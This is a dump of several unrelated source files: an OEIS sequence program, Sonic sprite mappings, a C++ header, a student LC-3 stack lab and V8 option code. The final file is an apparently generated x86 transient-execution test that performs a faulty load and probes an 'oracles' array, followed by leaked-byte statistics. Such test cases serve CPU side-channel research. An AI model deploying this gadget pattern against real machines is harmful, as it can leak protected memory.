; A162260: a(n) = (n^3 + 4*n^2 - n)/2. ; 2,11,30,62,110,177,266,380,522,695,902,1146,1430,1757,2130,2552,3026,3555,4142,4790,5502,6281,7130,8052,9050,10127,11286,12530,13862,15285,16802,18416,20130,21947,23870,25902,28046,30305,32682,35180,37802,40551,43430,46442,49590,52877,56306,59880,63602,67475,71502,75686,80030,84537,89210,94052,99066,104255,109622,115170,120902,126821,132930,139232,145730,152427,159326,166430,173742,181265,189002,196956,205130,213527,222150,231002,240086,249405,258962,268760,278802,289091,299630,310422,321470,332777,344346,356180,368282,380655,393302,406226,419430,432917,446690,460752,475106,489755,504702,519950 mov $1,$0 add $1,4 bin $1,2 sub $1,1 mul $0,$1 add $0,2
dc.w word_4A122-Map_PachinkoInvisibleUnknown dc.w word_4A136-Map_PachinkoInvisibleUnknown dc.w word_4A14A-Map_PachinkoInvisibleUnknown dc.w word_4A15E-Map_PachinkoInvisibleUnknown dc.w word_4A172-Map_PachinkoInvisibleUnknown word_4A122: dc.w 3 ; DATA XREF: ROM:0004A118o dc.b $F8, 5, 0, 0, $FF, $80 dc.b $F8, 5, 0, 0, 0, 0 dc.b $F8, 5, 0, 0, 0, $7F word_4A136: dc.w 3 ; DATA XREF: ROM:0004A118o dc.b $F8, 5, 0, 4, $FF, $80 dc.b $F8, 5, 0, 4, 0, 0 dc.b $F8, 5, 0, 4, 0, $7F word_4A14A: dc.w 3 ; DATA XREF: ROM:0004A118o dc.b $F8, 5, 0, 8, $FF, $80 dc.b $F8, 5, 0, 8, 0, 0 dc.b $F8, 5, 0, 8, 0, $7F word_4A15E: dc.w 3 ; DATA XREF: ROM:0004A118o dc.b $F8, 5, 0, $C, $FF, $80 dc.b $F8, 5, 0, $C, 0, 0 dc.b $F8, 5, 0, $C, 0, $7F word_4A172: dc.w 3 ; DATA XREF: ROM:0004A118o dc.b $F8, 5, 0, $10, $FF, $80 dc.b $F8, 5, 0, $10, 0, 0 dc.b $F8, 5, 0, $10, 0, $7F
#pragma once #include <voilk/plugins/chain/chain_plugin.hpp> #include <voilk/plugins/json_rpc/json_rpc_plugin.hpp> #include <appbase/application.hpp> namespace voilk { namespace plugins { namespace database_api { using namespace appbase; #define VOILK_DATABASE_API_PLUGIN_NAME "database_api" class database_api_plugin : public plugin< database_api_plugin > { public: database_api_plugin(); virtual ~database_api_plugin(); APPBASE_PLUGIN_REQUIRES( (voilk::plugins::json_rpc::json_rpc_plugin) (voilk::plugins::chain::chain_plugin) ) static const std::string& name() { static std::string name = VOILK_DATABASE_API_PLUGIN_NAME; return name; } virtual void set_program_options( options_description& cli, options_description& cfg ) override; virtual void plugin_initialize( const variables_map& options ) override; virtual void plugin_startup() override; virtual void plugin_shutdown() override; std::shared_ptr< class database_api > api; }; } } } // voilk::plugins::database_api
;================================================= ; Name: Adrian Harminto ; Email: aharm002@ucr.edu ; Lab: lab 9 ; Lab section: 24 ; TA: Bryan Marsh ;================================================= ; PS: User can only input single digit of 0-9, however the multiplication result may be 0-32K! (bc I reuse my print_number function from lab07) .ORIG x3000 LD R3, CONVERT ; R3 = for conversion LD R4, STACK_ADDRESS ;address of the stack LD R5, max_data_stack ;max should be the address + max size available ADD R5, R5, R4 ADD R6, R5, #0 ;current top stack should be on the bottom BRnzp Loop Loop LD R1, MENU JSRR R1 ADD R1, R1, #-1 BRz IsOne ADD R1, R1, #-1 BRz IsTwo ADD R1, R1, #-1 BRz IsThree ADD R1, R1, #-1 BRz IsFour IsOne LEA R0, push_menu PUTS GETC OUT ADD R0, R0, R3 LD R1, SUB_STACK_PUSH JSRR R1 LEA R0, NEWLINE PUTS BRnzp Loop IsTwo LD R1, SUB_STACK_POP JSRR R1 ADD R0, R0, #0 BRz Loop ;do nothing if the popped value is empty (go back to menu) ADD R1, R0, #0 ;store it to R1 for printing LEA R0, pop_menu PUTS LD R2, PRINT_NUMBER JSRR R2 LEA R0, NEWLINE PUTS BRnzp Loop IsThree ADD R2, R6, #0 ; R2 will store the original value of R6 NOT R2, R2 ADD R2, R2, #1 ; --in minus value LD R1, SUB_RPN_MULT JSRR R1 LEA R0, NEWLINE PUTS ADD R2, R2, R6 ; If R6 is equals to its old value BRz Loop ; means nothing has changed--go back to loop LEA R0, mult_menu PUTS LDR R1, R6, #0 ;Fetching the value from R6 to pass it to print subroutine LD R2, PRINT_NUMBER JSRR R2 LEA R0, NEWLINE PUTS BRnzp Loop IsFour LEA R0, Exitting PUTS HALT ;Subroutines address MENU .FILL x3400 SUB_STACK_PUSH .FILL x4000 SUB_STACK_POP .FILL x4400 SUB_RPN_MULT .FILL x4800 STACK_ADDRESS .FILL xA000 PRINT_NUMBER .FILL x5800 ;Data CONVERT .FILL xFFD0 CONVERTBACK .FILL x30 max_data_stack .FILL #05 ;Strings push_menu .STRINGZ "Enter a number to be push: " pop_menu .STRINGZ "The popped value is: " mult_menu .STRINGZ "The new value is: " NEWLINE .STRINGZ "\n" Exitting .STRINGZ "Exitting the program" .ORIG x3400 ;----------------------------------------------------------------------------------------------------------------- ; Subroutine: MENU ; Inputs: None ; Postcondition: The subroutine has printed out a menu with numerical options, allowed the ; user to select an option, and returned the selected option. ; Return Value (R1): The option selected: #1, #2, #3, #4, #5, #6 or #7 ; no other return value is possible ;----------------------------------------------------------------------------------------------------------------- ; restoring data ST R0, BACKUP_R0_3400 ST R1, BACKUP_R1_3400 ST R2, BACKUP_R2_3400 ST R3, BACKUP_R3_3400 ST R4, BACKUP_R4_3400 ST R5, BACKUP_R5_3400 ST R6, BACKUP_R6_3400 ST R7, BACKUP_R7_3400 ;------------------------------- ;INSERT CODE For Subroutine MENU ;-------------------------------- ; R2 for conversion LD R2, convert BRnzp IsItOneToSeven NotOneToSeven LEA R0, Error_message_1 PUTS IsItOneToSeven LD R0, Menu_string_addr PUTS GETC OUT ADD R1, R0, #0 LEA R0, newline PUTS ADD R1, R1, R2 BRnz NotOneToSeven ADD R1, R1, #-4 BRp NotOneToSeven ADD R1, R1, #4 ; restoring data LD R0, BACKUP_R0_3400 ;LD R1, BACKUP_R1_3400 LD R2, BACKUP_R2_3400 LD R3, BACKUP_R3_3400 LD R4, BACKUP_R4_3400 LD R5, BACKUP_R5_3400 LD R6, BACKUP_R6_3400 LD R7, BACKUP_R7_3400 ; returning RET BACKUP_R0_3400 .BLKW #1 BACKUP_R1_3400 .BLKW #1 BACKUP_R2_3400 .BLKW #1 BACKUP_R3_3400 .BLKW #1 BACKUP_R4_3400 .BLKW #1 BACKUP_R5_3400 .BLKW #1 BACKUP_R6_3400 .BLKW #1 BACKUP_R7_3400 .BLKW #1 ;-------------------------------- ;Data for subroutine MENU ;-------------------------------- convert .FILL xFFD0 ; This is equivalent to the negative value of x30 newline .STRINGZ "\n" Error_message_1 .STRINGZ "INVALID INPUT\n" Menu_string_addr .FILL x6000 .ORIG x4000 ;----------------------------------------------------------------------------------------------- ; Subroutine: SUB_STACK_PUSH ; Parameter (R0): The value to push onto the stack ; Parameter (R4): BASE: A pointer to the base (one less than the lowest available ; address) of the stack ; Parameter (R5): MAX: The "highest" available address in the stack ; Parameter (R6): TOS (Top of Stack): A pointer to the current top of the stack ; Postcondition: The subroutine has pushed (R0) onto the stack (i.e to address TOS+1). ; If the stack was already full (TOS = MAX), the subroutine has printed an overflow ; error message and terminated ; Return Value: R6 <-- updated TOS ;----------------------------------------------------------------------------------------------- ; restoring data ST R0, BACKUP_R0_4000 ST R1, BACKUP_R1_4000 ST R2, BACKUP_R2_4000 ST R3, BACKUP_R3_4000 ST R4, BACKUP_R4_4000 ST R5, BACKUP_R5_4000 ST R6, BACKUP_R6_4000 ST R7, BACKUP_R7_4000 ADD R1, R6, #0 NOT R1, R1 ADD R1, R1, #1 ADD R1, R1, R4 BRnp NotOverflow ;IsOverflow LEA R0, overflow_error PUTS BRnzp ExitPush NotOverflow ADD R6, R6, #-1 STR R0, R6, #0 ExitPush ; restoring data LD R0, BACKUP_R0_4000 LD R1, BACKUP_R1_4000 LD R2, BACKUP_R2_4000 LD R3, BACKUP_R3_4000 LD R4, BACKUP_R4_4000 LD R5, BACKUP_R5_4000 ;LD R6, BACKUP_R6_4000 LD R7, BACKUP_R7_4000 ; returning RET BACKUP_R0_4000 .BLKW #1 BACKUP_R1_4000 .BLKW #1 BACKUP_R2_4000 .BLKW #1 BACKUP_R3_4000 .BLKW #1 BACKUP_R4_4000 .BLKW #1 BACKUP_R5_4000 .BLKW #1 BACKUP_R6_4000 .BLKW #1 BACKUP_R7_4000 .BLKW #1 ;-------------------------------- ;Data for subroutine ;-------------------------------- STACK_FOR_4000 .Fill xA000 overflow_error .STRINGZ "Stack OVERFLOW! Can no longer PUSH!\n" .ORIG x4400 ;----------------------------------------------------------------------------------------------- ; Subroutine: SUB_STACK_POP ; Parameter (R4): BASE: A pointer to the base (one less than the lowest available ; address) of the stack ; Parameter (R5): MAX: The "highest" available address in the stack ; Parameter (R6): TOS (Top of Stack): A pointer to the current top of the stack ; Postcondition: The subroutine has popped MEM[top]off the stack ; If the stack was already empty (TOS = BASE), the subroutine has printed ; an underflow error message and terminated ; Return Value: R0 <-- value popped of the stack ; R6 <-- updated TOS ;----------------------------------------------------------------------------------------------- ; restoring data ST R0, BACKUP_R0_4400 ST R1, BACKUP_R1_4400 ST R2, BACKUP_R2_4400 ST R3, BACKUP_R3_4400 ST R4, BACKUP_R4_4400 ST R5, BACKUP_R5_4400 ST R6, BACKUP_R6_4400 ST R7, BACKUP_R7_4400 ADD R1, R6, #0 NOT R1, R1 ADD R1, R1, #1 ADD R1, R1, R5 BRnp NotUnderflow ;IsUnderflow LEA R0, underflow_error PUTS AND R0, R0, #0 BRnzp ExitPop NotUnderflow LDR R0, R6, #0 ADD R6, R6, #1 ExitPop ; restoring data ;LD R0, BACKUP_R0_4400 LD R1, BACKUP_R1_4400 LD R2, BACKUP_R2_4400 LD R3, BACKUP_R3_4400 LD R4, BACKUP_R4_4400 LD R5, BACKUP_R5_4400 ;LD R6, BACKUP_R6_4400 LD R7, BACKUP_R7_4400 ; returning RET BACKUP_R0_4400 .BLKW #1 BACKUP_R1_4400 .BLKW #1 BACKUP_R2_4400 .BLKW #1 BACKUP_R3_4400 .BLKW #1 BACKUP_R4_4400 .BLKW #1 BACKUP_R5_4400 .BLKW #1 BACKUP_R6_4400 .BLKW #1 BACKUP_R7_4400 .BLKW #1 ;-------------------------------- ;Data for subroutine ;-------------------------------- STACK_FOR_4400 .Fill xA000 underflow_error .STRINGZ "Stack UNDERFLOW! Can no longer POP!\n" .ORIG x4800 ;----------------------------------------------------------------------------------------------- ; Subroutine: SUB_STACK_MULT ; Parameter (R4): BASE: A pointer to the base (one less than the lowest available ; address) of the stack ; Parameter (R5): MAX: The "highest" available address in the stack ; Parameter (R6): TOS (Top of Stack): A pointer to the current top of the stack ; Postcondition: The subroutine has popped off the top two values of the stack, ; multiplied them together, and pushed the resulting value back ; onto the stack. ; Return Value: R6 <-- updated top value ;----------------------------------------------------------------------------------------------- ; restoring data ST R0, BACKUP_R0_4800 ST R1, BACKUP_R1_4800 ST R2, BACKUP_R2_4800 ST R3, BACKUP_R3_4800 ST R4, BACKUP_R4_4800 ST R5, BACKUP_R5_4800 ST R6, BACKUP_R6_4800 ST R7, BACKUP_R7_4800 ADD R1, R6, #0 NOT R1, R1 ADD R1, R1, #1 ADD R1, R1, R5 BRz IsUnderflow2 ADD R1, R1, #-1 ;If's only 0 or 1 value inside the stack, it's "underflow" BRz IsUnderflow2 BRnp NotUnderflow2 IsUnderflow2 LEA R0, mult_error PUTS BRnzp ExitMult NotUnderflow2 LD R1, CALL_POP JSRR R1 ADD R2, R0, #0 LD R1, CALL_POP JSRR R1 ADD R3, R0, #0 LD R1, CALL_MULT JSRR R1 ; ########### NEED TO MAKE SURE R0 IS THE MULT RESULT #################### ADD R0, R1, #0 LD R1, CALL_PUSH JSRR R1 ExitMult ; restoring data LD R0, BACKUP_R0_4800 LD R1, BACKUP_R1_4800 LD R2, BACKUP_R2_4800 LD R3, BACKUP_R3_4800 LD R4, BACKUP_R4_4800 LD R5, BACKUP_R5_4800 ;LD R6, BACKUP_R6_4800 LD R7, BACKUP_R7_4800 ; returning RET BACKUP_R0_4800 .BLKW #1 BACKUP_R1_4800 .BLKW #1 BACKUP_R2_4800 .BLKW #1 BACKUP_R3_4800 .BLKW #1 BACKUP_R4_4800 .BLKW #1 BACKUP_R5_4800 .BLKW #1 BACKUP_R6_4800 .BLKW #1 BACKUP_R7_4800 .BLKW #1 ;-------------------------------- ;Data for subroutine ;-------------------------------- CALL_PUSH .FILL x4000 CALL_POP .FILL x4400 CALL_MULT .FILL x4C00 STACK_FOR_4800 .FILL xA000 mult_error .STRINGZ "Insufficient amount of stack! (Minimum should be 2!)" .ORIG x4C00 ;----------------------------------------------------------------------------------------------- ; Subroutine: SUB_MULT ; Parameter (R2): Value1 (whatever's on the top) ; Parameter (R3): Value2 (2nd after top) ; Parameter (R4): BASE: A pointer to the base (one less than the lowest available ; address) of the stack ; Parameter (R5): MAX: The "highest" available address in the stack ; Parameter (R6): TOS (Top of Stack): A pointer to the current top of the stack ; Postcondition: The subroutine has popped off the top two values of the stack, ; multiplied them together, and pushed the resulting value back ; onto the stack. ; Return Value: R1 <-- New mult value ;----------------------------------------------------------------------------------------------- ; restoring data ST R0, BACKUP_R0_4C00 ST R1, BACKUP_R1_4C00 ST R2, BACKUP_R2_4C00 ST R3, BACKUP_R3_4C00 ST R4, BACKUP_R4_4C00 ST R5, BACKUP_R5_4C00 ST R6, BACKUP_R6_4C00 ST R7, BACKUP_R7_4C00 ;Check which R2 or R3 is smaller ADD R1, R2, #0 NOT R1, R1 ADD R1, R1, #1 ADD R1, R1, R3 BRzp DoNothing ;Swap ADD R1, R2, #0 ADD R2, R3, #0 ADD R3, R1, #0 DoNothing AND R1, R1, #0 LoopMult ADD R1, R1, R3 ADD R2, R2, #-1 BRp LoopMult ; restoring data LD R0, BACKUP_R0_4C00 ;LD R1, BACKUP_R1_4C00 LD R2, BACKUP_R2_4C00 LD R3, BACKUP_R3_4C00 LD R4, BACKUP_R4_4C00 LD R5, BACKUP_R5_4C00 LD R6, BACKUP_R6_4C00 LD R7, BACKUP_R7_4C00 ; returning RET BACKUP_R0_4C00 .BLKW #1 BACKUP_R1_4C00 .BLKW #1 BACKUP_R2_4C00 .BLKW #1 BACKUP_R3_4C00 .BLKW #1 BACKUP_R4_4C00 .BLKW #1 BACKUP_R5_4C00 .BLKW #1 BACKUP_R6_4C00 .BLKW #1 BACKUP_R7_4C00 .BLKW #1 ;----------------------------------------------------------------------------------------------- ; Subroutine: PRINT_NUMBER (primarily to print number above 10) ; R1 = value ; R2 = place (-10000, -1000, ... , -10 ) ; R3 = temp (value-place) ; R4 = counter ; R5 = flag (if it's leading 0: -1. If it's no longer leading 0: 0) ; [R6 = conversion from ascii to its character] ; Return: NONE ;----------------------------------------------------------------------------------------------- .ORIG x5800 ; backing up data ST R1, BACKUP_R1_5800 ST R2, BACKUP_R2_5800 ST R3, BACKUP_R3_5800 ST R4, BACKUP_R4_5800 ST R5, BACKUP_R5_5800 ST R6, BACKUP_R6_5800 ST R7, BACKUP_R7_5800 ; EXECUTE AND R2, R2, #0 AND R3, R3, #0 AND R4, R4, #0 AND R5, R5, #0 AND R6, R6, #0 ADD R5, R5, #-1 ;set flag to -1 by default LD R6, convert3 LD R2, ten_thousand ;---- is it negative? ---- ADD R1, R1, #0 BRzp Not_Negative LEA R0, neg_sign PUTS NOT R1, R1 ADD R1, R1, #1 Not_Negative ;otherwise print nothing ;--------- Begin Printing Process ----------- ADD R3, R3, R1 Loop4 ADD R3, R3, R2 BRn DoneLoop4 ;the only way to get out of the loop is if R3 is negative ADD R4, R4, #1 ;If it's positive, add 1 to counter AND R5, R5, #0 ;If it ever enters here, it shouldn't be a leading 0 ADD R1, R3, #0 BRnzp Loop4 DoneLoop4 AND R3, R3, #0 ;(emptying temp) ADD R3, R3, R1 ;(reseting temp to orig value) LD R2, one_thousand ;(preparing place) ADD R5, R5, #0 ;check if this is leading 0 BRn Loop3 ;if yes, do nothing and move on ADD R4, R4, R6 ST R4, result LD R0, result OUT AND R4, R4, #0 Loop3 ADD R3, R3, R2 BRn DoneLoop3 ;the only way to get out of the loop is if R3 is negative ADD R4, R4, #1 ;If it's positive, add 1 to counter AND R5, R5, #0 ;If it ever enters here, it shouldn't be a leading 0 ADD R1, R3, #0 BRnzp Loop3 DoneLoop3 AND R3, R3, #0 ;(emptying temp) ADD R3, R3, R1 ;(reseting temp to orig value) LD R2, one_hundred ;(preparing place) ADD R5, R5, #0 ;check if this is leading 0 BRn Loop2 ;if yes, do nothing and move on ADD R4, R4, R6 ST R4, result LD R0, result OUT AND R4, R4, #0 Loop2 ADD R3, R3, R2 BRn DoneLoop2 ;the only way to get out of the loop is if R3 is negative ADD R4, R4, #1 ;If it's positive, add 1 to counter AND R5, R5, #0 ;If it ever enters here, it shouldn't be a leading 0 ADD R1, R3, #0 BRnzp Loop2 DoneLoop2 AND R3, R3, #0 ;(emptying temp) ADD R3, R3, R1 ;(reseting temp to orig value) LD R2, ten ;(preparing place) ADD R5, R5, #0 ;check if this is leading 0 BRn Loop1 ;if yes, do nothing and move on ADD R4, R4, R6 ST R4, result LD R0, result OUT AND R4, R4, #0 Loop1 ADD R3, R3, R2 BRn DoneLoop ;the only way to get out of the loop is if R3 is negative ADD R4, R4, #1 ;If it's positive, add 1 to counter AND R5, R5, #0 ;If it ever enters here, it shouldn't be a leading 0 ADD R1, R3, #0 BRnzp Loop1 DoneLoop AND R3, R3, #0 ;(emptying temp) ADD R3, R3, R1 ;(reseting temp to orig value) ;LD R2, ten ;(doesn't matter) ADD R5, R5, #0 ;check if this is leading 0 BRn ExitLoop ;if yes, do nothing and move on ADD R4, R4, R6 ST R4, result LD R0, result OUT ExitLoop AND R4, R4, #0 ;--------- now below should be the 5th one ADD R1, R1, R6 ST R1, result LD R0, result OUT ; --------------- ; restoring data LD R1, BACKUP_R1_5800 LD R2, BACKUP_R2_5800 LD R3, BACKUP_R3_5800 LD R4, BACKUP_R4_5800 LD R5, BACKUP_R5_5800 LD R6, BACKUP_R6_5800 LD R7, BACKUP_R7_5800 ; returning RET ; Subroutine Data neg_sign .STRINGZ "-" convert3 .FILL x30 ten_thousand .FILL #-10000 one_thousand .FILL #-1000 one_hundred .FILL #-100 ten .FILL #-10 result .BLKW #1 BACKUP_R1_5800 .BLKW #1 BACKUP_R2_5800 .BLKW #1 BACKUP_R3_5800 .BLKW #1 BACKUP_R4_5800 .BLKW #1 BACKUP_R5_5800 .BLKW #1 BACKUP_R6_5800 .BLKW #1 BACKUP_R7_5800 .BLKW #1 .ORIG x6000 MENUSTRING .STRINGZ "**********************\n* Stack Menu *\n**********************\n1. Push the number onto the stack\n2. Pop the number from the stack\n3. Multiply the top 2 values on stack\n4. Quit\n" .ORIG xA000
// Copyright 2021 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "src/objects/option-utils.h" #include "src/numbers/conversions.h" #include "src/objects/objects-inl.h" namespace v8 { namespace internal { // ecma402/#sec-getoptionsobject MaybeHandle<JSReceiver> GetOptionsObject(Isolate* isolate, Handle<Object> options, const char* method) { // 1. If options is undefined, then if (options->IsUndefined(isolate)) { // a. Return ! ObjectCreate(null). return isolate->factory()->NewJSObjectWithNullProto(); } // 2. If Type(options) is Object, then if (options->IsJSReceiver()) { // a. Return options. return Handle<JSReceiver>::cast(options); } // 3. Throw a TypeError exception. THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kInvalidArgument), JSReceiver); } // ecma402/#sec-coerceoptionstoobject MaybeHandle<JSReceiver> CoerceOptionsToObject(Isolate* isolate, Handle<Object> options, const char* method) { // 1. If options is undefined, then if (options->IsUndefined(isolate)) { // a. Return ! ObjectCreate(null). return isolate->factory()->NewJSObjectWithNullProto(); } // 2. Return ? ToObject(options). ASSIGN_RETURN_ON_EXCEPTION( isolate, options, Object::ToObject(isolate, options, method), JSReceiver); return Handle<JSReceiver>::cast(options); } Maybe<bool> GetStringOption(Isolate* isolate, Handle<JSReceiver> options, const char* property, std::vector<const char*> values, const char* method, std::unique_ptr<char[]>* result) { Handle<String> property_str = isolate->factory()->NewStringFromAsciiChecked(property); // 1. Let value be ? Get(options, property). Handle<Object> value; ASSIGN_RETURN_ON_EXCEPTION_VALUE( isolate, value, Object::GetPropertyOrElement(isolate, options, property_str), Nothing<bool>()); if (value->IsUndefined(isolate)) { return Just(false); } // 2. c. Let value be ? ToString(value). Handle<String> value_str; ASSIGN_RETURN_ON_EXCEPTION_VALUE( isolate, value_str, Object::ToString(isolate, value), Nothing<bool>()); std::unique_ptr<char[]> value_cstr = value_str->ToCString(); // 2. d. if values is not undefined, then if (values.size() > 0) { // 2. d. i. If values does not contain an element equal to value, // throw a RangeError exception. for (size_t i = 0; i < values.size(); i++) { if (strcmp(values.at(i), value_cstr.get()) == 0) { // 2. e. return value *result = std::move(value_cstr); return Just(true); } } Handle<String> method_str = isolate->factory()->NewStringFromAsciiChecked(method); THROW_NEW_ERROR_RETURN_VALUE( isolate, NewRangeError(MessageTemplate::kValueOutOfRange, value, method_str, property_str), Nothing<bool>()); } // 2. e. return value *result = std::move(value_cstr); return Just(true); } V8_WARN_UNUSED_RESULT Maybe<bool> GetBoolOption(Isolate* isolate, Handle<JSReceiver> options, const char* property, const char* method, bool* result) { Handle<String> property_str = isolate->factory()->NewStringFromAsciiChecked(property); // 1. Let value be ? Get(options, property). Handle<Object> value; ASSIGN_RETURN_ON_EXCEPTION_VALUE( isolate, value, Object::GetPropertyOrElement(isolate, options, property_str), Nothing<bool>()); // 2. If value is not undefined, then if (!value->IsUndefined(isolate)) { // 2. b. i. Let value be ToBoolean(value). *result = value->BooleanValue(isolate); // 2. e. return value return Just(true); } return Just(false); } // ecma402/#sec-defaultnumberoption Maybe<int> DefaultNumberOption(Isolate* isolate, Handle<Object> value, int min, int max, int fallback, Handle<String> property) { // 2. Else, return fallback. if (value->IsUndefined()) return Just(fallback); // 1. If value is not undefined, then // a. Let value be ? ToNumber(value). Handle<Object> value_num; ASSIGN_RETURN_ON_EXCEPTION_VALUE( isolate, value_num, Object::ToNumber(isolate, value), Nothing<int>()); DCHECK(value_num->IsNumber()); // b. If value is NaN or less than minimum or greater than maximum, throw a // RangeError exception. if (value_num->IsNaN() || value_num->Number() < min || value_num->Number() > max) { THROW_NEW_ERROR_RETURN_VALUE( isolate, NewRangeError(MessageTemplate::kPropertyValueOutOfRange, property), Nothing<int>()); } // The max and min arguments are integers and the above check makes // sure that we are within the integer range making this double to // int conversion safe. // // c. Return floor(value). return Just(FastD2I(floor(value_num->Number()))); } // ecma402/#sec-getnumberoption Maybe<int> GetNumberOption(Isolate* isolate, Handle<JSReceiver> options, Handle<String> property, int min, int max, int fallback) { // 1. Let value be ? Get(options, property). Handle<Object> value; ASSIGN_RETURN_ON_EXCEPTION_VALUE( isolate, value, JSReceiver::GetProperty(isolate, options, property), Nothing<int>()); // Return ? DefaultNumberOption(value, minimum, maximum, fallback). return DefaultNumberOption(isolate, value, min, max, fallback, property); } } // namespace internal } // namespace v8
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0xfba9, %rsi lea addresses_normal_ht+0x104dd, %rdi nop xor $8491, %r12 mov $33, %rcx rep movsb and %r11, %r11 lea addresses_D_ht+0x2fa9, %rsi lea addresses_UC_ht+0x1d329, %rdi nop xor %r12, %r12 mov $2, %rcx rep movsb nop add %r12, %r12 lea addresses_WT_ht+0x110ad, %rsi lea addresses_A_ht+0xfc73, %rdi nop add %r9, %r9 mov $103, %rcx rep movsl nop nop cmp $1529, %rcx lea addresses_UC_ht+0x7aa9, %rsi and $3847, %rbp movb $0x61, (%rsi) nop nop nop nop nop sub %rsi, %rsi lea addresses_UC_ht+0x8fa9, %rsi lea addresses_WT_ht+0x1cbea, %rdi nop xor $20318, %rbp mov $12, %rcx rep movsw nop nop xor %r11, %r11 lea addresses_D_ht+0x66f, %r12 nop cmp %rcx, %rcx and $0xffffffffffffffc0, %r12 movaps (%r12), %xmm0 vpextrq $1, %xmm0, %rsi nop nop xor %rdi, %rdi lea addresses_D_ht+0x1bb29, %rsi lea addresses_D_ht+0x101a9, %rdi nop nop nop nop add $49472, %r9 mov $118, %rcx rep movsw nop nop nop sub $42590, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r15 push %r8 push %r9 push %rcx push %rdi // Load lea addresses_US+0x13fbb, %r10 add %r8, %r8 mov (%r10), %r9w nop nop nop nop nop add %rcx, %rcx // Store lea addresses_WC+0xeba9, %r9 nop xor %rdi, %rdi movb $0x51, (%r9) nop nop cmp %r9, %r9 // Load lea addresses_WC+0x237d, %rcx and %r8, %r8 mov (%rcx), %r10w cmp %r10, %r10 // Store lea addresses_US+0x18829, %rdi nop nop nop nop nop sub %r10, %r10 movl $0x51525354, (%rdi) sub $43252, %rdi // Faulty Load mov $0x7ff8fa0000000ba9, %r13 nop nop nop nop nop sub %r10, %r10 mov (%r13), %r15 lea oracles, %r13 and $0xff, %r15 shlq $12, %r15 mov (%r13,%r15,1), %r15 pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_US', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_US', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_NC', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'e6': 24, '1a': 17, '54': 17, '1e': 20, 'd8': 16, '1c': 10, 'd4': 19, '80': 23, '46': 21, '8a': 15, 'c4': 13, '0e': 22, '32': 9, 'dc': 18, '0a': 21, '5a': 9, 'e2': 13, '68': 17, '04': 25, '16': 24, '9c': 14, 'bc': 18, 'ae': 17, 'fe': 17, 'ee': 17, '5e': 13, '28': 16, 'f2': 7, '22': 10, '14': 17, '98': 19, 'a6': 15, '18': 24, '94': 11, '62': 12, '6e': 21, 'ea': 18, '60': 20, 'a2': 12, 'f0': 20, '51': 19222, '82': 10, '12': 18, 'ac': 15, '2e': 15, 'de': 16, '38': 14, '34': 11, 'd2': 9, 'b4': 14, '4e': 16, 'd6': 9, '9a': 9, '5c': 26, 'da': 19, '2a': 17, 'ca': 14, 'ba': 19, 'a8': 19, 'b8': 12, '48': 16, 'fa': 14, 'b0': 15, '2c': 18, 'ec': 11, 'f8': 16, 'e4': 18, '9e': 14, '44': 14, 'cc': 17, '66': 16, '0c': 17, '08': 13, '3c': 14, '24': 19, '36': 13, '72': 9, '4a': 14, 'ce': 12, '58': 14, '3e': 10, '78': 22, 'c2': 12, 'b2': 15, '26': 18, '74': 13, '50': 13, '76': 27, '30': 11, '3a': 13, 'be': 19, '90': 16, '88': 15, '8e': 11, '7e': 17, '6c': 25, '40': 17, '7a': 20, 'f4': 14, '52': 11, '6a': 19, 'fc': 14, 'e0': 14, '42': 4, 'f6': 12, '02': 19, 'd0': 16, '92': 10, 'e8': 10, '10': 18, 'c0': 12, 'c6': 14, '7c': 17, '96': 17, 'aa': 19, '4c': 18, 'c8': 9, '84': 14, '06': 14, '20': 17, '8c': 18, 'b6': 12, 'a4': 16, '86': 14, '70': 16, '56': 16, '00': 636, 'a0': 13, '64': 13} 52 c2 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 50 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 ce 51 51 51 51 51 51 51 51 51 51 e4 51 51 51 51 51 72 51 51 51 70 51 51 51 51 26 51 8e 51 51 51 51 51 51 51 51 d2 51 51 51 51 51 2a 51 51 51 51 51 51 51 51 51 51 88 51 51 51 51 51 51 51 04 51 4e 51 51 51 51 51 00 51 51 51 51 